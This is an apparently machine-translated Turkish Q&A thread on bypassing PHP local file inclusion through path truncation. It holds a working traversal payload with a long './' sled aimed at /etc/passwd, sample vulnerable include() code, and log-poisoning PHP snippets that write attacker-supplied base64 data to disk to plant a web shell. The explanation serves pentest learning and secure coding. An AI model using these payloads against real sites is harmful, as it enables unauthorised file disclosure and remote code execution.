it-swarm-tr.com

Bu yolu Yerel Dosya Ekleme'yi nasıl atlayabilir / kullanabilirim?

Bazı web sitelerinde bir güvenlik açığı tarama komut dosyası (Uniscan 6.0) çalıştırmayı denedim ve sonra bu aşağıdaki yoldan yararlanılabilecek bir site buldum. ("geçersiz" kelimesi dahil edildi, parametreler/web sitesi sansürlendi)

http://www.website.com/index.php?param1=invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.&param2=value&param3=value

Bir sonraki adımım için, tam olarak ne olduğunu anlamak istiyorum, bu yüzden manuel olarak kullanmaya çalışıyorum. (LFI hakkında bazı derslere göz attım)

  1. ../../../../../../../../../../../../../../../etc/passwd& .. .
  2. geçersiz ../../../../../../../../../../../../../../../ etc/passwd ve. ..
  3. ../../../../../../../../../../../../../../../etc/passwd%00& ...
  4. ../../../../../../../../../../../../../../../etc/passwd/. /./& ...
  5. ../../../../../../../../../../../../../../../etc/passwd%00 /. /. /% ...

ama ilk çok uzun yol dışında çalışmadılar, neler oluyor?

Hangi php kodunu kullanmalıyım? Ve bu uzun yol bu savunmasız php kodunu nasıl atlayabilir?

Aşağıdaki bilgiler yardımcı olabilir.

< HTTP/1.1 200 OK
< Date: Thu, 19 Jul 2012 19:46:03 GMT
< Server: Apache/2.2.3 (CentOS)
< X-Powered-By: PHP/5.1.6
< Set-Cookie: PHPSESSID=[blah-blah]; path=/
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
< Pragma: no-cache
< Vary: Accept-Encoding
< Content-Length: 2094
< Content-Type: text/html
30
Smile.Hunter

Büyüleyici! @catalyze burada gerçekten ilgi çekici, hoş bir durum ortaya çıkardı. Burada, bu sitede neler olup bittiğini özetlemek için zaman ayırmak istedim. (@Catalyze ve Francesco "ascii" Ongaro'ya tam kredi; sadece açıkladıklarını özetliyorum.)

Özet. Bu günlük LFI saldırısı değil. Bunun yerine, bu daha sıradışı ve akıllı bir şey. Burada, standart LFI yöntemleriyle yararlanamayan bir güvenlik açığımız var; nasıl sömürüleceğini anlamak için daha fazla hile yapmalısın.

Arka Plan. İlk olarak, Francesco'nun "ascii" Ongaro ve diğerleri tarafından keşfedilen PHP'nin dosya kullanımı hakkında iki gerçek söylemeliyim:

  • Gerçek 1. Bir dosya adının sonuna bir şeyler ekleyebilirsiniz. Herkes /./etc/passwd Dosyasının /etc/passwd Dosyasına başvurmanın başka bir yolu olduğunu bilir. Ancak, bilmediğiniz bazılarını burada bulabilirsiniz.

    PHP'de, /etc/passwd/ İfadesinin /etc/passwd Dosyasına da başvurduğu anlaşılıyor: sondaki eğik çizgiler çıkarıldı. Vahşi, ha? Bu, Unix tabanında çalışmaz, bu nedenle PHP'in böyle bir dosya adını kabul etmesi biraz şaşırtıcıdır, ancak PHP dosyasının dosyayı açmadan önce eğik çizgi çıkardığı anlaşılmaktadır. .

    İstediğiniz sayıda eğik çizgi ekleyebilirsiniz: /etc/passwd//// Da sorun değil.

    Ve ./ Ekleyebilirsiniz (istediğiniz kadar). Örneğin, /etc/passwd/., /etc/passwd/./ Ve /etc/passwd/././. Hepsi /etc/passwd 'A karşılık gelir. Çıldırmak! PHP umrumda değil.

  • Gerçek 2. Uzun yollar kesildi. Çoğu PHP kurulumda, dosya adı 4096 bayttan uzunsa, sessizce kesilecek ve ilk 4096 bayttan sonraki her şey atılacaktır . Hiçbir hata tetiklenmez: fazla karakterler atılır ve PHP mutlu bir şekilde devam eder.

Saldırı. Şimdi saldırıyı anlatmaya hazırım. Size savunmasız kodu, standart LFI saldırılarının neden çalışmadığını ve daha sonra işe yarayan daha akıllı bir saldırının nasıl oluşturulacağını göstereceğim. Sonuç, @catalyze'nin en pentestinde gördüklerini açıklıyor.

Savunmasız kod. Diyelim ki şuna benzeyen bir kodumuz var:

<?php
include("includes/".$_GET['param1'].".php");
?>

Yerel bir dosya içerme (LFI) güvenlik açığı gibi görünüyor, değil mi? Ancak durum aslında ilk başta göründüğünden biraz daha zordur. Nedenini görmek için bazı saldırılara bakalım.

Standart saldırılar. Bu LFI güvenlik açığından yararlanmaya çalışmanın standart, naif yolu ?param1=../../../../var/www/shared/badguy/evil Gibi bir parametre sağlamaktır. Yukarıdaki PHP kodu daha sonra includes/../../../../var/www/shared/badguy/evil.php Dosyasını eklemeye çalışacaktır. /var/www/shared/badguy/evil.php Dosyasının var olduğunu ve saldırgan tarafından kontrol edildiğini varsayarsak, bu saldırı uygulamanın saldırgan tarafından seçilen kötü amaçlı kodu yürütmesine neden olur.

Ancak bu yalnızca, saldırganın dosya içeriğine seçtiği içeriğe sahip bir dosya .php İle biten bir dosya ekleyebilmesi durumunda çalışır. Saldırgan dosya sistemindeki .php İle biten hiçbir dosyayı kontrol etmezse ne olur? Öyleyse, standart saldırılar başarısız olur. Saldırganın sağladığı parametre değeri ne olursa olsun, bu yalnızca .php Uzantısıyla biten bir dosya adı açar.

Daha karmaşık bir saldırı. Size daha önce vermiş olduğum ek arka plan bilgileriyle, belki de bu sınırlamayı aşan daha karmaşık bir saldırı ile karşılaşabilirsiniz.

Temel olarak, saldırgan çok uzun bir parametre değeri seçer, böylece oluşturulan dosya adı 4096 bayt uzunluğundan daha uzun olur. Dosya adı kesildiğinde, .php Uzantısı atılır. Saldırgan, sonuçta ortaya çıkan dosya adının dosya sistemindeki mevcut bir dosyaya başvurmasını ayarlayabilirse, saldırgan iyidir.

Şimdi bu çok zor bir saldırı gibi gelebilir. Tam yolu tam olarak 4096 bayt uzunluğunda olan dosya sisteminde bir dosya adı bulma olasılığımız nedir? Belki o kadar iyi değil mi?

Arka plan gerçekleri burada devreye giriyor. Saldırgan ?param1=../../../../etc/passwd/./././././<...> İle bir istek gönderebilir (./ Kalıbı binlerce kez tekrarlanır). Şimdi önek eklendikten ve .php Dosya uzantısı eklendikten sonra dosya adının ne olduğuna bakın: includes/../../../../etc/passwd/./././././<...>.php Gibi bir şey olacaktır. Bu dosya adı 4096 bayttan daha uzun olacak, bu yüzden kesilecek. Kesme işlemi dosya uzantısını bırakır ve bize includes/../../../../etc/passwd/./././././<...> Biçiminde bir dosya adı bırakır. Ve PHP, sondaki eğik çizgileri ve sondaki ./ Dizileri işleme şekli sayesinde, sondaki tüm öğeler göz ardı edilir. Başka bir deyişle, bu dosya adı PHP tarafından includes/../../../../etc/passwd Yoluna eşdeğer olarak ele alınacaktır. Bu nedenle PHP, şifre dosyasından okumaya çalışacaktır ve orada PHP sözdizimi hatası bulduğunda, şifre dosyasının içeriğini bir hata sayfasına dökebilir - gizli bilgileri ifşa edebilir bir saldırgana.

Dolayısıyla bu teknik, standart yöntemlerle başka türlü kullanılamayacak bazı güvenlik açıklarından yararlanmaya izin verir. Daha ayrıntılı bir tartışma ve daha pek çok örnek için @catalyze bağlantılarının bulunduğu sayfalara bakın.

Bu aynı zamanda @catalyze'nin ?param1=../../../../etc/passwd Gibi bir şey göndererek saldırıdan neden yararlanamadığını da açıklıyor: .php Uzantısı eklendi ve /etc/passwd.php Dosyası yoktu, bu yüzden saldırı başarısız oldu.

Özet. PHP'nin dosya yollarını ele almasındaki özellikler, aksi takdirde kullanışsız görünebilecek güvenlik açıklarına yönelik her türlü ince saldırıyı mümkün kılar. Pentesterler için bu saldırı teknikleri bilinmeye değer olabilir.

Geliştiriciler için ders aynıdır: girişlerinizi doğrulayın; saldırgan tarafından sağlanan girdilere güvenmeyin; klasik web güvenlik açıklarını öğrenin ve bunları kodunuza tanıtmayın.

33
D.W.

Sonunda çözümü buldum!

Bu LFI'nin bypass tekniklerine Yol Kesme saldırısı denir.

Senaryo:

  • Beyaz/kara liste, open_base_dir veya herhangi bir kısıtlama erişim yapılandırması yok
  • Tüm GPC ve SERVER girişlerinde addslashes () örtülü olarak çağrıldığından magic_quotes nullbayttan kaçar. (bu durumda etc/passwd%00 olacaktı etc/passwd\0, bu yüzden doğru dosya olarak değerlendirilemez.)
  • include_path ( içinde php.ini ) en sonuncuyu içerir PHP) kaynak kodunda karmaşık savunmasız bir parçayı tetiklemek için mutlak yol (örneğin, include_path = ".:/usr/share/php" )
  • PHP <? (Kim bilir?)

Taşıma kapasitesi:

  • Varolmayan bir dizinle başlamak zorunda
  • Çapraz kızakla devam edin, dahil edilecek yolu gösterin
  • Normalleştirme/kesme kızağı ile bitirin.

Akıllı insanlar burada ..

http://www.ush.it/2009/02/08/php-filesystem-attack-vectors/

http://www.ush.it/2009/07/26/php-filesystem-attack-vectors-take-two/

7
Smile.Hunter

Bu soruya, bunun yasal amaçlarla ve yalnızca güvenlik araştırmaları için kullanıldığını varsaydığım uyarıyla cevaplayacağım.

Bir PHP web sitesinden bahsediyorsak, muhtemelen arka uçta olan şey budur:

$file = fopen($_GET["param"], "r");
/* Do some operation on the file handler, like maybe read the file and output it */
$contents = fread($file, $size);
print $contents

Web kabuğunuzu yüklemek ve web Kabuğunda sistem komutlarını çalıştırmak için bu LFI'den yararlanabilirsiniz. Bunu yapmanın en basit yolu access.log dosyasına ve access.log dosyasına erişmektir. Bunu yapmanın en basit yolu, Kullanıcı Aracısını veya belki de GET isteğini, bir düzenleyici kurmanıza yardımcı olacak bazı PHP kodu dahil etmek) değiştirmektir. Örneğin, web sitesine bir telnet ve aşağıdaki istek, access.log dosyasına enjekte edilmelidir:

GET/ <?php phpinfo() ?>

Açıkçası, tüm yapmanız gereken size PHP Access.log'dan bilgi almaktır, ancak fikri anlıyorsunuz. Şimdi, aynı satırlarda, kolayca şöyle bir şey yapabilirsiniz:

GET/ <?php data = $_REQUEST['data']; $filename = $_REQUEST['filename']; file_put_contents($filename,base64_decode($data)); ?>

ve sonra bir base64 kodlanmış PHP betiği yükleyin ve web Shell'i oraya getirin. Geri kalanını anlamak için size bırakacağım, zor olmamalı Bununla ilgili daha fazla bilgi edinmek istiyorsanız, gerçekten okumalısınız Kaotic Creations hakkında gerçekten çok bölümlü bir eğitim var.

5